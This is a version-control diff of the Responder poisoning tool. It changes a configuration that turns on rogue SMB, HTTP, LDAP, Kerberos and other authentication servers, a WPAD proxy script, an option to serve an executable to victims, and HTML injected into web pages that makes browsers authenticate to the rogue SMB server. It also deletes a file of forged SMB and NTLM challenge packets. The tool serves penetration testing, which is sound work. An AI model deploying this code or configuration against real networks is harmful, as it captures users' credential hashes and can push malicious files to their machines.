CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
||||
|
||||
class SMBSessEmpty(Packet):
|
||||
fields = OrderedDict([
|
||||
("Empty", "\x00\x00\x00"),
|
||||
])
|
||||
|
||||
|
|
|
@ -1,62 +1,65 @@
|
|||
[Responder Core]
|
||||
;;
|
||||
;Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
||||
|
||||
; Servers to start
|
||||
SQL = On
|
||||
SMB = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
POP = On
|
||||
;;Listen on 25/TCP, 587/TCP
|
||||
SMTP = On
|
||||
IMAP = On
|
||||
HTTP = On
|
||||
HTTPS = On
|
||||
DNS = On
|
||||
LDAP = On
|
||||
;
|
||||
;Set a custom challenge
|
||||
|
||||
; Custom challenge
|
||||
Challenge = 1122334455667788
|
||||
;
|
||||
;Set this to change the default logging file
|
||||
SessionLog = Responder-Session.log
|
||||
;
|
||||
;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
|
||||
; Default log file
|
||||
SessionLog = logs/Responder-Session.log
|
||||
|
||||
; Specific IP Addresses to respond to (default = All)
|
||||
; Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
RespondTo =
|
||||
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
;RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
|
||||
; Specific NBT-NS/LLMNR names to respond to (default = All)
|
||||
; Example: RespondTo = WPAD,DEV,PROD,SQLINT
|
||||
RespondToName =
|
||||
;
|
||||
;DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
DontRespondTo =
|
||||
;Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
|
||||
|
||||
; Specific IP Addresses not to respond to (default = None)
|
||||
; Example: DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||
DontRespondTo = 192.168.56.1, 10.0.2.2
|
||||
|
||||
; Specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||
; Example: DontRespondTo = NAC, IPS, IDS
|
||||
DontRespondToName =
|
||||
;
|
||||
|
||||
|
||||
[HTTP Server]
|
||||
;;
|
||||
;Set this to On if you want to always serve a specific file to the victim.
|
||||
|
||||
; Set to On to always serve a specific file
|
||||
Serve-Always = Off
|
||||
;
|
||||
;Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
|
||||
|
||||
; Set to On to serve an executable file each time a .exe is detected in an URL
|
||||
Serve-Exe = Off
|
||||
;
|
||||
;Uncomment and specify a custom file to serve, the file must exist.
|
||||
Filename = Denied.html
|
||||
;
|
||||
;Specify a custom executable file to serve, the file must exist.
|
||||
ExecFilename = FixInternet.exe
|
||||
;
|
||||
;Set your custom PAC script
|
||||
|
||||
; Custom HTML to serve
|
||||
HtmlFilename = Denied.html
|
||||
|
||||
; Custom EXE File to serve
|
||||
ExeFilename = FixInternet.exe
|
||||
|
||||
; Custom WPAD Script
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||
;
|
||||
;HTML answer to inject.
|
||||
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
|
||||
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
|
||||
|
||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
||||
HTMLToServe = <img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='1'>
|
||||
|
||||
|
||||
[HTTPS Server]
|
||||
;
|
||||
;Change to use your certs
|
||||
cert = Certs/responder.crt
|
||||
key = Certs/responder.key
|
||||
;
|
||||
|
||||
|
||||
; Configure SSL Certificates to use
|
||||
SSLCert = certs/responder.crt
|
||||
SSLKey = certs/responder.key
|
||||
|
|
2803
Responder.py
2803
Responder.py
File diff suppressed because it is too large
Load diff
475
SMBPackets.py
475
SMBPackets.py
|
@ -1,475 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#Calculate total SMB packet len.
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
|
||||
##################################################################################
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer LM packet.
|
||||
class SMBNegoAnsLM(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("Maxbuffsize", "\x04\x41\x00\x00"),
|
||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfc\x3e\x01\x00"),
|
||||
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("Srvtimezone", "\x2c\x01"),
|
||||
("Keylength", "\x08"),
|
||||
("Bcc", "\x10\x00"),
|
||||
("Key", ""),
|
||||
("Domain", "SMB"),
|
||||
("DomainNull", "\x00\x00"),
|
||||
("Server", "SMB-TOOLKIT"),
|
||||
("ServerNull", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##Convert first..
|
||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
||||
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
||||
##Then calculate.
|
||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
##################################################################################
|
||||
#SMB Negotiate Answer ESS NTLM only packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("SrvTimeZone", "\xf0\x00"),
|
||||
("KeyLen", "\x00"),
|
||||
("Bcc", "\x57\x00"),
|
||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x5b"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x51"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x4f"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x30"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x2e"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x09"),
|
||||
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x1b"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
|
||||
################################################################################
|
||||
#SMB Negotiate Answer ESS NTLM and Kerberos packet.
|
||||
class SMBNegoKerbAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||
("SrvTimeZone", "\xf0\x00"),
|
||||
("KeyLen", "\x00"),
|
||||
("Bcc", "\x57\x00"),
|
||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||
("InitContextTokenASNId", "\x60"),
|
||||
("InitContextTokenASNLen", "\x5b"),
|
||||
("ThisMechASNId", "\x06"),
|
||||
("ThisMechASNLen", "\x06"),
|
||||
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||
("SpNegoTokenASNId", "\xA0"),
|
||||
("SpNegoTokenASNLen", "\x51"),
|
||||
("NegTokenASNId", "\x30"),
|
||||
("NegTokenASNLen", "\x4f"),
|
||||
("NegTokenTag0ASNId", "\xA0"),
|
||||
("NegTokenTag0ASNLen", "\x30"),
|
||||
("NegThisMechASNId", "\x30"),
|
||||
("NegThisMechASNLen", "\x2e"),
|
||||
("NegThisMech1ASNId", "\x06"),
|
||||
("NegThisMech1ASNLen", "\x09"),
|
||||
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech2ASNId", "\x06"),
|
||||
("NegThisMech2ASNLen", "\x09"),
|
||||
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
|
||||
("NegThisMech3ASNId", "\x06"),
|
||||
("NegThisMech3ASNLen", "\x0a"),
|
||||
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
|
||||
("NegThisMech4ASNId", "\x06"),
|
||||
("NegThisMech4ASNLen", "\x09"),
|
||||
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenTag3ASNId", "\xA3"),
|
||||
("NegTokenTag3ASNLen", "\x1b"),
|
||||
("NegHintASNId", "\x30"),
|
||||
("NegHintASNLen", "\x19"),
|
||||
("NegHintTag0ASNId", "\xa0"),
|
||||
("NegHintTag0ASNLen", "\x17"),
|
||||
("NegHintFinalASNId", "\x1b"),
|
||||
("NegHintFinalASNLen", "\x15"),
|
||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
################################################################################
|
||||
class SMBSession1Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00"),
|
||||
("Andxoffset", "\x5f\x01"),
|
||||
("Action", "\x00\x00"),
|
||||
("SecBlobLen", "\xea\x00"),
|
||||
("Bcc", "\x34\x01"),
|
||||
("ChoiceTagASNId", "\xa1"),
|
||||
("ChoiceTagASNLenOfLen", "\x81"),
|
||||
("ChoiceTagASNIdLen", "\x00"),
|
||||
("NegTokenTagASNId", "\x30"),
|
||||
("NegTokenTagASNLenOfLen","\x81"),
|
||||
("NegTokenTagASNIdLen", "\x00"),
|
||||
("Tag0ASNId", "\xA0"),
|
||||
("Tag0ASNIdLen", "\x03"),
|
||||
("NegoStateASNId", "\x0A"),
|
||||
("NegoStateASNLen", "\x01"),
|
||||
("NegoStateASNValue", "\x01"),
|
||||
("Tag1ASNId", "\xA1"),
|
||||
("Tag1ASNIdLen", "\x0c"),
|
||||
("Tag1ASNId2", "\x06"),
|
||||
("Tag1ASNId2Len", "\x0A"),
|
||||
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("Tag2ASNId", "\xA2"),
|
||||
("Tag2ASNIdLenOfLen", "\x81"),
|
||||
("Tag2ASNIdLen", "\xED"),
|
||||
("Tag3ASNId", "\x04"),
|
||||
("Tag3ASNIdLenOfLen", "\x81"),
|
||||
("Tag3ASNIdLen", "\xEA"),
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
("NTLMSSPNTLMPadding", ""),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
